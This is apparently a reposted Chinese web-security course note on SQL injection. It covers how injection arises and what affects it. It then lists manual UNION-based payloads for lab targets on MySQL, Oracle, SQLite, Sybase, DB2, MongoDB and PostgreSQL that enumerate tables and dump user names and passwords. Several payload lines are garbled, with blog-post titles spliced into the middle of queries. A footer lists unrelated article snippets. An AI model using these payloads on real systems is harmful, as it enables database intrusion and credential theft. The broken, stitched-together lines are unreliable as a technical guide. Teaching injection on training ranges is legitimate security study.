第53天:Web攻防-SQL注入數據庫類型用戶權限架構分層符號干擾利用過程發現思路

#知識點:(本節課了解即可)

1、Web攻防-SQL注入-產生原理&應用因素

2、Web攻防-SQL注入-各類數據庫類型利用

一、數據庫知識:

1、數據庫名,表名,列名,數據

2、自帶數據庫,數據庫用戶及權限

3、數據庫敏感函數,默認端口及應用? ? ? ? ? ? ? ? ? ? ? ? ?

4、數據庫查詢方法(增加刪除修改更新)

二、SQL注入產生原理:

代碼中執行的SQL語句存在可控變量導致

三、影響SQL注入的主要因素:

1、數據庫類型(權限操作)

2、數據操作方法(增刪改查)

3、參數數據類型(符號干擾)

4、參數數據格式(加密編碼等)

5、提交數據方式(數據包部分)

6、有無數據處理(無回顯邏輯等)->可以從“延時注入”的角度測試

四、常見SQL注入的利用過程:

1、判斷數據庫類型->不同的數據庫類型,有不同的sql測試語句

2、判斷參數類型及格式

3、判斷數據格式及提交

4、判斷數據回顯及防護

5、獲取數據庫名,表名,列名

6、獲取對應數據及嘗試其他利用

五、黑盒/白盒如何發現SQL注入

1、盲對所有參數進行測試

2、整合功能點腦補進行測試

白盒參考后期代碼審計課程

六、利用過程:

獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)

七、靶場實戰:

Acunetix Web Vulnerability Scanner - Test websites

https://mozhe.cn/Special/SQL_Injection

①Access:已經基本淘汰 意義不大

②Mssql

http://vulnweb.com/

③Mysql

https://blog.csdn.net/weixin_57524749/article/details/140618103

id=-1 union select 1,database(),3,4

idSQL手工注入漏洞測試(Oracle數據庫)——墨者學院-CSDN博客ation_schema.tables where table_schema='mozhe_Discuz_StormGroup'

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member

④Oracle

https://blog.csdn.net/A2893992091/article/details/141365829

and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual

and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual

and 1=2 union select (select table_name from user_tables whe06#墨者靶場-SQL手工注入漏洞測試(SQLite數據庫)-CSDN博客

1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual

and 1=2 union select USER_NAME,USER_PWD from "sns_users"

and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')

⑤SQLite

06#墨者靶場-SQL手工注入漏洞測試(SQLite數據庫)-CSDN博客

union select 1,name,sql,4 from sqlite_master limit 0,1

union select 1,name,password,4 from WSTMart_reg

⑥Sybase

id=-1 union all select null,db_name(),null,null

id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects

id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login')

id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and name<>'id'

id=-1 union all select null,name,null,SQL手工注入漏洞測試(MongoDB數據庫)-CSDN博客

word,null,null from Deepthroat_loPostGREsql手工注入攻略_pgsql注入-CSDN博客

4274099

id=-1 union select 1,2,3,4 from syscat.tables

id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1

id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1

id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1

id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1

id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1

⑦mongodb

SQL手工注入漏洞測試(MongoDB數據庫)-CSDN博客

id=1'});return ({title:'1',content:'2

'});return ({content:tojson(db.getCollectionNames()),title:'1

'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'

PostgreSQL

https://blog.csdn.net/2401_88387979/article/details/144275425

and 1=2 union select 'null',null,null,null

and 1=2 union select null,'null',null,null

and 1=2 union select null,null,string_agg(datname,','),null from pg_database

and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'

and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/72860.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/72860.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/72860.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【玩轉MySQL數據字典】MySQL數據字典與常用操作指令

MySQL數據字典簡介與常用操作指令 一、數據字典簡介 數據字典是MySQL 5.7中用于存儲數據庫對象元數據的系統表。在MySQL的早期版本中&#xff0c;元數據存儲在.frm文件及其他文件里。這種存儲方式存在諸多弊端&#xff0c;例如元數據不一致問題&#xff0c;不同文件間元數據的…

如何有效判斷與排查Java GC問題

目錄 一、GC的重要性與對性能的影響 &#xff08;一&#xff09;GC對性能的影響簡要分析 1.GC暫停與應用停頓 2.GC吞吐量與資源利用率 3.GC對內存管理的作用&#xff1a;資源回收 4.GC策略與優化的選擇 &#xff08;二&#xff09;GC的雙刃劍 二、GC性能評價標準 &…

el-table(elementui)表格合計行使用以及滾動條默認樣式修改

一、el-table新增合計行以及el-table展示數據出現的問題 1. 使用合計行 el-table的屬性show-summary設為true&#xff0c;即可在表格尾部展示合計行。默認情況下&#xff0c;第一列不展示數據&#xff0c;而顯示合計二字&#xff0c;可以通過sum-text自己配置&#xff0c;其余…

olmOCR:高效精準的 PDF 文本提取工具

在日常的工作和學習中&#xff0c;是否經常被 PDF 文本提取問題困擾&#xff1f;例如&#xff1a; 想從學術論文 PDF 中提取關鍵信息&#xff0c;卻發現傳統 OCR 工具識別不準確或文本格式混亂&#xff1f;需要快速提取商務合同 PDF 中的條款內容&#xff0c;卻因工具不給力而…

云計算:虛擬化、容器化與云存儲技術詳解

在上一篇中,我們深入探討了網絡安全的核心技術,包括加密、認證和防火墻,并通過實際案例和細節幫助讀者全面理解這些技術的應用和重要性。今天,我們將轉向一個近年來迅速發展的領域——云計算。云計算通過提供按需訪問的計算資源,徹底改變了IT基礎設施的構建和管理方式。本…

免費開源抓包工具Wireshark介紹

一、Wireshark 安裝詳解 Wireshark 是一款跨平臺的網絡協議分析器&#xff0c;支持 Windows、macOS 和 Linux 等操作系統。以下分別介紹在不同操作系統上的安裝步驟&#xff0c;并詳細解釋安裝過程中的選項。 1、Windows 平臺安裝 1.下載 Wireshark 安裝包: 訪問 Wireshark…

藍橋杯備賽:炮彈

題目解析 這道題目是一道模擬加調和級數&#xff0c;難的就是調和級數&#xff0c;模擬過程比較簡單。 做法 這道題目的難點在于我們在玩這個跳的過程&#xff0c;可能出現來回跳的情況&#xff0c;那么為了解決這種情況&#xff0c;我們采取的方法是設定其的上限步數。那么…

2025年滲透測試面試題總結-奇安信安全工程師(題目+回答)

網絡安全領域各種資源&#xff0c;學習文檔&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具&#xff0c;歡迎關注。 目錄 奇安信安全工程師 1. MVC框架詳細說明 2. SQL注入詳細介紹 3. XSS和CSRF的區別 4. XXE漏洞原理 5. …

【阿里云】控制臺使用指南:從創建ECS到系統診斷測評

前言 隨著云計算技術的快速發展&#xff0c;越來越多的企業和開發者開始使用云服務來部署和管理應用程序。在眾多云服務提供商中&#xff0c;阿里云&#xff08;Alibaba Cloud&#xff09;憑借其強大的基礎設施和豐富的服務&#xff0c;成為了眾多用戶的首選。本文旨在介紹如何…

關于OceanBase與CDH適配的經驗分享

CDH是Cloudera早期推出的一個開源平臺版本&#xff0c;它實質上成為了Apache Hadoop生態系統內公認的安裝與管理平臺&#xff0c;專為企業級需求量身打造。CDH為用戶提供了即裝即用的企業級解決方案。通過整合Hadoop與另外十多項關鍵開源項目&#xff0c;Cloudera構建了一個功能…

電機驅動電路:單橋(H橋)與雙橋(雙H橋)詳解

一、電機驅動電路的作用 電機驅動電路通過控制電流方向和大小,實現電機的正反轉、調速及制動。常見的結構包括單橋(H橋)和雙橋(雙H橋),分別適用于不同場景。 二、單橋(H橋)驅動電路 1. 結構示意圖(文字描述) 開關元件:4個功率開關(如MOSFET或IGBT)組成橋臂,分…

[網絡爬蟲] 動態網頁抓取 — Selenium 入門操作

&#x1f31f;想系統化學習爬蟲技術&#xff1f;看看這個&#xff1a;[數據抓取] Python 網絡爬蟲 - 學習手冊-CSDN博客 0x01&#xff1a;WebDriver 類基礎屬性 & 方法 為模仿用戶真實操作瀏覽器的基本過程&#xff0c;Selenium 的 WebDriver 模塊提供了一個 WebDriver 類…

牛客周賽A:84:JAVA

鏈接&#xff1a;登錄—專業IT筆試面試備考平臺_牛客網 來源&#xff1a;牛客網 題目描述 \hspace{15pt}小紅定義一個數組的陡峭值為&#xff1a;每兩個相鄰的元素&#xff0c;差值的絕對值之和。例如&#xff0c;數組 {2,3,1}\{2,3,1\}{2,3,1} 的陡峭值是 ∣2?3∣∣3?1∣…

Cython編譯去掉符號表

在Cython編譯過程中去掉符號表&#xff08;symbol table&#xff09;可以增加生成代碼的安全性&#xff0c;使其更難被逆向工程。然而&#xff0c;需要注意的是&#xff0c;Cython本身并不直接提供一個開關來去除符號表。通常&#xff0c;這是通過編譯器和鏈接器的選項來實現的…

在 IntelliJ IDEA(2024) 中創建 JAR 包步驟

下是在 IntelliJ IDEA 中創建 JAR 包的詳細的步驟&#xff1a; ?1. 選擇File -> Project Structure->Artifacts&#xff0c; (1)點擊?新建&#xff0c;如下圖所示&#xff1a; (2)選擇JAR->Empty (3)輸入jar包名稱&#xff0c;確定輸出路徑 &#xff08;4&#…

Python零基礎學習第三天:函數與數據結構

一、函數基礎 函數是什么&#xff1f; 想象你每天都要重復做同一件事&#xff0c;比如泡咖啡。函數就像你寫好的泡咖啡步驟說明書&#xff0c;每次需要時直接按步驟執行&#xff0c;不用重新想流程。 # 定義泡咖啡的函數 def make_coffee(sugar1): # 默認加1勺糖 print("…

idea啟動項目報端口被占用

端口確實被占用 winR&#xff0c;輸入cmd&#xff0c;進入終端&#xff0c;查找到對應端口的進程id&#xff0c;殺掉項目 netstat -ano | findstr "8080"taskkill /F /PID 37020 idea設置中&#xff0c;選擇讓maven代替進行項目關閉&#xff0c;此時其實點擊build可…

達夢數據庫在Linux,信創云 安裝,備份,還原

&#xff08;一&#xff09;系統環境檢查 1操作系統&#xff1a;確認使用的是國產麒麟操作系統&#xff0c;檢查系統版本是否兼容達夢數據庫 V8。可以通過以下命令查看系統版本&#xff1a; cat /etc/os-release 2硬件資源&#xff1a;確保服務器具備足夠的硬件資源&#xff0…

Java中,BIO、NIO和AIO三種模型的區別和適用場景

在Java中&#xff0c;BIO&#xff08;同步阻塞IO&#xff09;、NIO&#xff08;同步非阻塞IO&#xff09;和AIO&#xff08;異步非阻塞IO&#xff09;是三種核心的I/O模型&#xff0c;它們在處理網絡通信時有著不同的設計理念和適用場景。以下從核心特性、適用場景及聯系三方面…

p5.js:模擬 n個彩色小球在一個3D大球體內部彈跳

向 豆包 提問&#xff1a;編寫一個 p5.js 腳本&#xff0c;模擬 42 個彩色小球在一個3D大球體內部彈跳。每個小球都應留下一條逐漸消失的軌跡。大球體應緩慢旋轉&#xff0c;并顯示透明的輪廓線。請確保實現適當的碰撞檢測&#xff0c;使小球保持在球體內部。 cd p5-demo copy…